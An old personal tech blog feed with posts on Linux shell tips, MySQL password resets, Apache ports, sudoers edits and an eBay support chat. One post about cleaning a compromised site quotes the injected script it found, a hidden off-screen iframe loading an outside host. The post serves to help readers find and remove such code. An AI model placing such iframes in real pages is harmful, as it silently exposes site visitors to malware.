Tips & Tricks for Freedom

My Experience on CC chat session with ebay.in

noreply@blogger.com (Anish) — Tue, 06 Sep 2011 06:48:00 +0000

I have ordered a wireless router from a trusted seller of ebay. Even after contacted em over phone, they are not seems to send it, and I want this item urgently. As a result of this, I took a move to ask CC chat help on this which cost more than one hour . This is the copy paste of my chat.

thecoderin
Initial Question/Comment: Bidding / Buying
10:52:16 System
Kaustub has joined this session!
10:52:16 System
Connected with Kaustub
10:53:21 Kaustub
Hello, Welcome to eBay Live Help. My name is Kaustubh. How may I assist you today?
10:53:57 thecoderin
Hello, Myself ***** a computer engineer. I have ordered a wirelsess router 9 days before and still not shipped. Is it possible to cancel my order ?
10:54:21 Kaustub
Okay.
10:55:16 Kaustub
In that case you need to contact the seller only he can cancel your order
10:56:36 Kaustub
only seller can cancel your order ask him to sent the cancellation form .
10:56:36 thecoderin
I have contacted the guy over phone yesterday and promised to courier it by yesterday itself. But still seems not couriered as promised
10:57:22 thecoderin
So I need to send an email from ebay asking for the cancellation form
10:58:00 thecoderin
right ?
10:58:06 Kaustub
Okay so you want to cancel the order because seller shipped yesterday.
10:58:29 thecoderin
seller not shipped after long nine days
10:58:43 Kaustub
Sorry ,only seller can cancel the order .
10:58:43 thecoderin
I cannot wait any longer
10:59:05 Kaustub
Okay
10:59:24 thecoderin
Thats it. Thank You Sir
10:59:46 thecoderin
Can I copy this conversation ?
11:00:38 thecoderin
seems like copy and print button are not working
11:00:41 Kaustub
so please don't if the seller has not shipped it for last 9 day's system will automatically generate your refund
11:01:28 thecoderin
Okay thats fine. I can wait today also.
11:01:36 Kaustub
.Please help me with your eBay User ID.
11:01:43 thecoderin
*******
11:02:11 Kaustub
yes you can surely copy this conversation for your reference
11:03:31 Kaustub
Please be online.
11:03:35 thecoderin
Thank you sir. I can wait one more day before go n fetch it from local retailer.
11:03:40 thecoderin
okay
11:05:21 Kaustub
let me check
11:09:16 Kaustub
can you tell me it was for which item
11:10:54 thecoderin
Wireless Router G Linksys by CISCO WRT54GH 1Yr Warranty (160642644130)
11:11:04 thecoderin
Hope you can see that
11:26:20 thecoderin
u there?
11:39:53 thecoderin
You need more time ?
11:41:02 System
Your agent has been disconnected from the system, you are now being transferred to your original queue. Please stand by...
11:41:02 System
Kaustub has left this session!
11:48:52 System
Mukesh C. has joined this session!
11:48:52 System
Connected with Mukesh C.
11:48:57 Mukesh C.
Hello, Welcome to eBay Live Help. My name is Mukesh C. How may I assist you today?
11:49:44 thecoderin
Can you see my old chat that left by Kausthub or I need to tell you the whole story again ?
11:50:52 Mukesh C.
You wanted to cancel the transaction .
11:51:03 thecoderin
long story short yes.
11:51:25 Mukesh C.
well you need to contact the seller
11:51:32 Mukesh C.
only he can cancel the transaction .
11:51:43 thecoderin
my ebay user id is: *********
Item I want to be cancel is Wireless Router G Linksys by CISCO WRT54GH 1Yr Warranty (160642644130)
11:53:11 thecoderin
Okay. Thanks. Its been bad to waiting an hour to get this answer.
I want to post this on my blog but seems neither the copy button nor the print button is working
11:54:32 Mukesh C.
I told you only seller can cancel the transaction
11:55:50 thecoderin
I heard it sir. I wonder why Kausthub ask me to be online if that is all.
11:56:14 thecoderin
and left the session without any prompt.
11:56:43 Mukesh C.
I truly apologise however you have to contact the seller for the same to resolve your concern.
11:57:57 thecoderin
Oh that's great of you. Anyway I have wasted more than enough time for this. We all have 24 hrs a day son. Good Day.
11:58:05 System
The session has ended!

PERL script for auto-generating screenshots

noreply@blogger.com (Anish) — Sat, 28 Aug 2010 08:04:00 +0000

There is so many ways to generate screenshots on linux machine, like ksnapshot,
gnome-screenshot etc. There is one more command available is 'import'. It is used for capture some or all of an X server screen and save the image to a file in the system. Try this on your system. On Terminal try:

$ import test.png

You can find that the mouse pointer changes to cross-hair. Draw a rectangle using your mouse, it will captured and saved it to your home directory named test.png. If you try this instead import
root test.png
it will took all the screen and save automatically. From this I developed a perl script to schedule to get automatic screenshots. Here is the code.

#/usr/bin/perl
use POSIX qw(strftime);

my $range = 600;
my $dir = '/opt/screen-'.strftime('%d-%m-%Y', localtime);

while(1) {
   $sleepr = rand($range);
   $file = strftime('%T', localtime);   if(! -d $dir) {

        mkdir $dir;
    }
$command = "sleep".$sleepr."; import -window root ".$dir.'/'.$file."_".$sleepr.".jpg";
system($command);
}

Run the script, and minimize the terminal, it will generate a screenshot and store automatically within having a maximum delay of 10 minutes, $range represents the maximum time delay.

Auto generated MySQL backup Using PHP

noreply@blogger.com (Anish) — Thu, 03 Dec 2009 12:32:00 +0000

Many sites are using MySQL as database. It is a good practice that taking backup in regular intervals. My aim was to develop a package which deliver me database backup files [ having extension .sql] and mail me with the file as attachment.

You can download[ link ] this package from phpclasses.org[ link ]

This package, I named it as myeskuel. This package contains
1. ReadMe File : README.txt
2. Class File : mysql.class.inc
3. Configuration File: config.php
4. Invoking script : backup.php

How To Configure This

All you need to give some details into the config.php file. The configuration is divided into 3 parts:

1. BackUp folder Configuration

$backUpFolder = "backup";

Please change the folder; iff you need to change the backup directory. It is better to give complete path. The line just below it tries to make the directory if not exists and give global (0777) permission for access.

2. Database Configuration Details

$server['host'] = "localhost";

$server['port'] = "";

$server['user'] = "root";

$server['pass'] = "pass";

$server['database'] = "test_db";

In this we need to give the details of the database: hostname, authenticated username, its password and the name of database. Giving port number is not necessary, if you are not sure about leave that position blank; it will take the default port number[3306].

3. e-mail Configuration Details

$mailer["FromMail"] = "db_manager@yoursite.com";

$mailer["ToMail"] = "developer@yoursite.com";

$mailer["MailBody"] = "Message Body";

$mailer["DAS"] = false;

Prerequisite for this facility is default php mail() support for your server and supports sending generated emails [most of the sites are having these options].

FromMail, is the valid email address which comes in 'from header'. ToMail is considering as the trigger for mailing function. If you are leave this blank, the function for sending e-mail will be disabled. The MailBody contains the message that will be send along with the file as attachment.

4. DAS – Delete After Send

$mailer["DAS"] = false;

This is an important parameter, if you configured as true, it will delete the file from the backup folder [created in the server] after successfully send the mail which configured to. The default is false, a copy will remain in the backup folder.

EXTRA

backup.php is the file that invokes the class and assign the variables, you can see generating a random name [on line # 38]. You can use any algorithm if you find it is not sufficient.

Go through the class file mysql.class.inc. The functions having comments which helps you to modify and suited for you purpose. You can set a cronjob[scheduled Task] for send you the updated database backup on regular intervals. Enjoy.

“Comments and queries are always encouraging”.

Download: myeskuel.zip

Privileged commands without sudo

noreply@blogger.com (Anish) — Tue, 27 Oct 2009 06:23:00 +0000

Motive: Bring out some specific commands like shutdown, restart from sudo restriction.

Example: #sudo reboot to #reboot

For changing this, we need to edit /etc/sudoers.tmp file for that we need to run the following command on the terminal[Applications->Accessories->Terminal].

#sudo visudo

A file will open in your default text editor [nano is my default]

Then add user list just after the line says: '# User alias specification', like this:

User_Alias USERS = thecoderin,ubutrix,user3

And add those commands for avoid sudo prefix just after '# Cmnd alias specification', like this:

Cmnd_Alias SHUTDOWN_CMDS = /sbin/shutdown, /sbin/reboot, /sbin/halt

Then We need to give the permissions to the USERS to run SHUTDOWN_CMDS without sudo and passwords. Goto end after the %admin line put this line

USERS ALL=(ALL) NOPASSWD: SHUTDOWN_CMDS

MORE DETAILS

MANual page for visudo [link]

MANual page for sudoers [link]

nJoY!

Site attacked by Malwares

noreply@blogger.com (Anish) — Mon, 26 Oct 2009 10:28:00 +0000

Last night was so weary !!, one site I worked with was attacked by malware and those who visited this site resulted hanging up their computer some lost their OS, even some says they lost their computer completely. Site owner called me and requested me to check the problem immediately. Tell you the truth, it was my first experience with malware attacks.

I started google the problem, I came to know it is easy to know which files are infected when we added site into google© Webmaster Tools [link]. I did the same, when I completed the procedure, they asked me to add a meta tag in index page.

I've opened index file using a text editor and added the tag in the place. Before I close I checked entire file and found a script after tag. It was not familiar to me, it was something like this:

< script >document . Write(‘< iframe src=“http : // erapost . net/? click =5 8 35265” width=100 height=100 style=“position:absolute;top:-10000;left:-10000;” >< /iframe >’);< /script >< table cellpadding =‘0’ cellspacing=‘0’ width=‘100%’ >

Please do not try this script: Really dangerous one.

Remove un-friendly scripts like above, and try check. Hope it will work.

SOME HELPFUL LINKS:

STOPBADWARE [link]

WHITE FIR DESIGN [link]

GOOGLE SAFE BROWSING [link]

Shells: What is grep

noreply@blogger.com (Anish) — Fri, 09 Oct 2009 12:22:00 +0000

From my last post [ link ], some of you may noted the use of grep command, I used for process search. grep is a Unix command that allows you to search for a pattern in a list of files [ man Page ]. We are going to test usage with /etc/passwd file.

The passwd file is used for storing encrypted-passwords for the users. Without a passwd file no one can able to login again. So it is better to make a copy of it before we accidentally delete or edit the file, even we are not intended to do so.

#cp /etc/passwd /etc/passwd.bck

Before start, just go and check how passwd file is looks like.

#nano /etc/passwd

First we are going to check, whether there is an entry for root user.

#grep root /etc/passwd

root:x:0:0:root:/root:/bin/bash

check the existence of the user www-data with bin in the same line

#grep www-data /etc/passwd | grep bin

www-data:x:33:33:www-data:/var/www:/bin/sh

What if the list which not having the string www-data, we are using -v for invert search, which is used to filter the result.

#grep bin /etc/passwd | grep -v www-data

You will get a large list which obviously not having the entry www-data.

For higher level usage try the following:

#grep "NAME$" INPUT_FILE > OUTPUT_FILE

example: grep "riazali$" MyDataFile > MyResultsFile

The '$' matches end-of-line.

If you are using a variable, containing the name (in your shell script) , then:

NAME="riazali"

grep "$NAME$" INPUT_FILE > OUTPUT_FILE

Shells: Search Processes

noreply@blogger.com (Anish) — Thu, 01 Oct 2009 07:23:00 +0000

Motive: My aim is to check the process and also have the facility for search string and getting details about running services.

As I need to check it regularly, so I created a shell script for check that.

Step 1: Create a empty file named proc_search.sh and open it with a text-editor.

#touch proc_search.sh

#nano proc_search.sh

Step 2: Type the following code.

#!/bin/bash

STRING=$1

ps xauwww|grep -v "grep"|grep -v "local.bin.any" |grep -i $STRING

Save and Close it

Step 3: Give permission to execute

chmod ugo+x proc_search.sh

Step 4: Run the SCRIPT

#./proc_search.sh apache

This results me like this

root 3300 0.0 1.0 36648 9384 ? Ss 07:03 0:00 /usr/sbin/apache2 -k start

www-data 3437 0.0 0.5 36648 5244 ? S 07:03 0:00 /usr/sbin/apache2 -k start

www-data 3438 0.0 0.5 36648 5244 ? S 07:03 0:00 /usr/sbin/apache2 -k start

www-data 3439 0.0 0.5 36648 5244 ? S 07:03 0:00 /usr/sbin/apache2 -k start

www-data 3440 0.0 0.5 36648 5244 ? S 07:03 0:00 /usr/sbin/apache2 -k start

www-data 3441 0.0 0.5 36648 5244 ? S 07:03 0:00 /usr/sbin/apache2 -k start

thecoder 13678 0.0 0.1 3912 1200 pts/0 R+ 12:25 0:00 /bin/bash ./proc_search.sh apache

You can also search with partial word like fire or like fox

thecoder 3687 7.2 21.8 345920 195980 ? Sl 07:04 24:42 /usr/lib/firefox-3.0.14/firefox

thecoder 14275 0.0 0.1 3912 1204 pts/0 R+ 12:47 0:00 /bin/bash ./process_search.sh fox

Above was the result for the search for #proc_search fox

Shells: AUTO LOGOFF of idle users

noreply@blogger.com (Anish) — Tue, 29 Sep 2009 11:06:00 +0000

I set up an Ubuntu 9.04 Server fordevelopment purpose and made it online through dyndns [more info], It can access by anyone of our team. We got some accessing problem because all our developers logged in through ssh without any need. So there are many users logged in and stay idle.

What we need to increase the efficiency is to force all idle users out. Here how I do this:

THIS IS BASED ON UBUNTU SERVER EDITION 9.04

At first you have to open Terminal from:

Applications->Accessories->Terminal

Step 01: Got to /etc/profile.d/

#cd /etc/profile.d/

Step 02: Open any create an empty file named logout.sh and open it using Text Editor.

#touch logout.sh

#nano logout.sh

Step 03: Type the following in Text Editor

TMOUT=600

IMPORTANT: DO NOT ADD ANY SPACE IN BETWEEN CODE.

600 = 10 Minutes(600 Seconds)

Save & Exit the text editor

Step 04: Make shell script executable.

#chmod ugo+x logout.sh

Thats all.

chmod is used for change mode, it can change file system modes of files and directories.

Wikipedia Page [link] and MANual [link] for chmod

Now on all users who took more than 10 minutes idle, put out of the shell automatically.

Try login to your server, after doing this and stay idle for 10 minutes

You will get a message like this :
timed out waiting for input: auto-logout

and will logout from server automatically.

how to know hardware details of your system

noreply@blogger.com (Anish) — Mon, 28 Sep 2009 12:08:00 +0000

Do you want to know the complete details of your Ubuntu/Debian flavor system details ?

We can generate it using lshw [el-es-ech-w] stands for Hardware Lister.

lshw (Hardware Lister) is a small tool to provide detailed information on the hardware configuration of the machine. It can report exact memory configuration, firmware version, mainboard configuration, CPU version and speed, cache configuration, bus speed, etc. on DMI-capable x86 or EFI (IA-64) systems and on some PowerPC machines.

You can see the man page for lshw here[link].

To run this, you should have Linux 2.4.x or 2.6.x or higher kernel version.

How To generate system_details.html

At first you have to open Terminal from:

Applications->Accessories->Terminal

sudo lshw -html > system_details.html

You can create xml or we can get it in a GUI, for that you have to install the package.

sudo apt-get install lshw-gtk

sudo command is for getting superuser privileges. [wikipedia]

OpenOffice Recovery document Problem

noreply@blogger.com (Anish) — Sat, 26 Sep 2009 07:38:00 +0000

Getting too many of this screen and always recovery fails ?. Its happens when the user opens a document downloaded from web or remove a document which last opened with openoffice. Every time user opens openoffice.org, this screen appears. This can be avoided by following steps given.

THIS IS FOR UBUNTU [Debian Flavors] ONLY

You need to close all oOo applications, before try.

Step 1: Open Your home folder.

Step 2: Press Ctrl+H or check Show Hidden Files on View Menu.

Step 3: Open .openoffice.org in your home directory.

Step 4: For OpenOffice.Org 3.x

goto 3/user/registry/data/org/openoffice/Office

For OpenOffice.Org 2.x

goto ~/.openoffice.org2/user/registry/data/org/openoffice/Office

Step 5: Delete a file named Recovery.xcu

Start oOo, you will need not worry about the irritating dialogue.

Until next time you lose some files. Repeat this procedure whenever you got the above error.

Browser Cache or AutoComplete

noreply@blogger.com (Anish) — Wed, 23 Sep 2009 05:39:00 +0000

I am currently working as a Project Lead for a local search engine project, there was a problem which is remained unsolved in our bugzillla [ wikipedia]. The problem was, in our keyword field, we are using an Ajax[wikipedia] suggestion. When we re-use the same window a browser generated suggestion came up over our suggestion, its make lots of difficulties on showing suggestion.

My client noticed it is a useless thing which should be removed asap. My team worked on it and find no solution for this. We made a decision that, it is due to browser cache which is unable to remove by any sort of codes.

Last day, I went to online bank account to check my balance when I logged out, I tried to log in again. Then I noticed that there is no these type of cache is presented. Then check the same of another bank, result is same no cache.

What I do next is check the html code and I found there is an option said autocomplete.

I tried the same wonder, the problem is solved.

Hope your problem is also solved.

apache2: change apache port

noreply@blogger.com (Anish) — Tue, 22 Sep 2009 05:57:00 +0000

Generally, the port for apache is 80, when we type http://localhost, it listen to port 80 which is default for apache server. During some other purposes like, managing system in a LAN [wikipedia], which shares same name, or for securing the apache port, to avoid anonymous view.

First took our famous tool known as Terminal Applications->Accessories->Terminal

Step1: Make a backup copy of ports.conf

sudo cp /etc/apache2/ports.conf /etc/apache2/ports.bk.conf

Step 1: Open the following location in a text editor. I am using it with nano.

sudo nano /etc/apache2/ports.conf

Step 2: Change the following, I am changing the port 80 to 8010.

NameVirtualHost *:80

Listen 80

NameVirtualHost *:80 10

Listen 8010

After that, you need to make sure that you are using the now declared VirtualHost in a config file. Check in /etc/apache2/sites-available/ for a site using your Listen port:

grep -E '<VirtualHost [*0-9.]+:8010' /etc/apache2/sites-available/*

If any lines are returned, then you have something setup to use that VirtualHost. If not, then you need to create another site in your config. The easiest way to do this is to copy the existing one and edit it slightly. In Step3 we are copying.

Step 3: Copy /etc/apache2/sites-available/default to /etc/apache2/sites-available/default8010

sudo cp /etc/apache2/sites-available/default to /etc/apache2/sites-available/default8010

Step 4: Open default8010 with a text editor, and change the following.

Change the line that says this:

to this

Save the file and exit. Now you should enable the site

Step 5: Enable the site using a2ensite

sudo a2ensite default8010

sudo /etc/init.d/apache2 reload

Now you should have a site enabled, listening on all interfaces on TCP port 8010.

I would like to thank giggins[link], of ubuntu forums [link], for helping me to solve this problem.

Reset MySQL 'root' Password

noreply@blogger.com (Anish) — Mon, 21 Sep 2009 13:07:00 +0000

From this post I tried to explain you about setting the root/user password for mysql. But What if you forgot root password of mySQL server ?

It happens,well we have a solution for that also.

NOTE: THIS IS ONLY FOR UBUNTU

Please open Terminal from Applications->Accessories->Terminal

Step 1: Stop MySQL Service

# /etc/init.d/mysql stop

For this you should have root user privileges. Use sudo before the code.

Step 2: Create a new SQL script for resetting your password

# nano /root/mysql.reset.sql

nano is a text editor which is default in Ubuntu. You can select any of your favourite editors like vi,gedit.

Append the following code and replace YOUR-NEW-MYSQL-PASSWORD with actual new password you would like to use

UPDATE mysql.user SET Password=PASSWORD('YOUR-NEW-MYSQL-PASSWORD' WHERE

User='root';

FLUSH PRIVILEGES;

Step 4: Set the new-mySQL-password

# mysqld_safe --init-file=/root/mysql.reset.sql &

It will output some warning like this:

nohup: ignoring input and redirecting stderr to stdout

Starting mysqld daemon with databases from /var/lib/mysql

mysqld_safe[20970]: started

And you are done with resetting operation. Simply, stop server and start again:

# killall mysqld

# /etc/init.d/mysql start

Change MySQL Password

noreply@blogger.com (Anish) — Fri, 18 Sep 2009 12:57:00 +0000

From Linux/Unix based systems, it is easy to set or change the root password. For setting this you need to open Terminal [ Applications->Accessories->Terminal or Alt+F2 and type gnome-terminal ] and type the following:

SETTING THE ROOT PASSWORD:

If we are setting the password as 'passkey'

$ mysqladmin -u root password passkey

CHANGING THE PASSWORD:

If we are going to change the password 'passkey' to 'yekssap'

$ mysqladmin -u root -p'passkey' password 'yekssap'

Note: In the same way we can change password of any user of MySql.

Change Password in MySQL Prompt

Step 01 - Login to MySQL from Terminal as root

$ mysql -u root -p

and enter the password.

Note if there is no password leave the '-p' from above code.

Step 02 – Select MySQL database using 'use' sql command

mysql> use mysql;

Step 03 - Change password of the user using 'update' sql command.

Changing the password of the user developer to 'passkey'

mysql> update user set password=PASSWORD("passkey") where User='developer';

Step 04 – Reload Privileges

mysql> flush privileges;

mysql> quit;

Thats all folks ;-)

Put your localhost into The Internet

noreply@blogger.com (Anish) — Fri, 18 Sep 2009 09:02:00 +0000

Most of the developers do their works on localhost. I am using my ubuntu machine installed with apache2, mySql and PHP5 for my works.

If one of my clients wants to access my localhost to check my works, I have to either buy a host [still, it is the best idea], having large space so that I can add my development; but it costs time and money. Even if money is not a matter, none of the companies do the registration within an hour or so; or we have to find a free-host for php and upload the files [the worst choice], having very limited resources sometimes it won't work.

What if we can make available our localhost in to Internet?. Most of the coders have the Internet facility, which is always connected, probably the systems have very less downtime. Even I slept for hours I never let my system to sleep. I think most of the coders have the same habit.

We just need to have a domain name which addresses our IP. IP in Internet is dynamic, it is automatically set to one IP dynamically, we can call it dynamic IP. If we are trying buy a host name and set it to our IP, then difficulty comes here, the issue with dynamic IP. If there is a technology that automatically tracking the IP changes, the problem is solved.

The solution for this problem is here: https://www.dyndns.com/

Dynamic DNS Free (DDNS) allows you to create a hostname that points to your home or office IP address, providing an easy-to-remember URL for quick access. They also provide an update mechanism which makes the hostname work with your dynamic IP address. DynDns have about 10 years of experience in DDNS, so they are planning to move on with the free service. In a free account you can create upto 5 hostnames, that means home,office, laptop and two more blah blahs ;-).

Important Links:

Shells: 01- Introduction - Linux Commands

noreply@blogger.com (Anish) — Thu, 17 Sep 2009 06:48:00 +0000

Shell Scripts are the main feature of linux distributions.

Lets know what wikepedia defined about shell scripts[wikipedia page]. Before starting shell script we must learn some important linux/unix commands which makes wonder with shell scripting.

GENERAL COMMANDS

Command	Description	Help Page [man]
apropos	apropos searches a set of database files containing short descriptions of system commands for keywords and displays the result on the standard output.	apropos
Ps2pdf	The ps2pdf scripts are work-alikes for nearly all the functionality (but not the user interface) of Adobe's Acrobat Distiller product: they convert PostScript files to Portable Document Format (PDF) files.	ps2pdf
which	Which takes one or more arguments. For each of its arguments it prints to stdout the full path of the executables that would have been executed when this argument had been entered at the shell prompt.	which
time	The time command runs the specified program command with the given arguments. When command finishes, time writes a message to standard output giving timing statistics about this program run.	time
cd	Change the current directory to dir. The variable HOME is the default dir.	cd
gzip	Gzip reduces the size of the named files using Lempel-Ziv coding (LZ77). Whenever possible, each file is replaced by one with the extension .gz, while keeping the same ownership modes, access and modification times.	gzip
echo	Echo the STRING(s) to standard output.	echo

Now the TRICKY part TRY : echo "I live in `locale territory`"

Linux is great right ?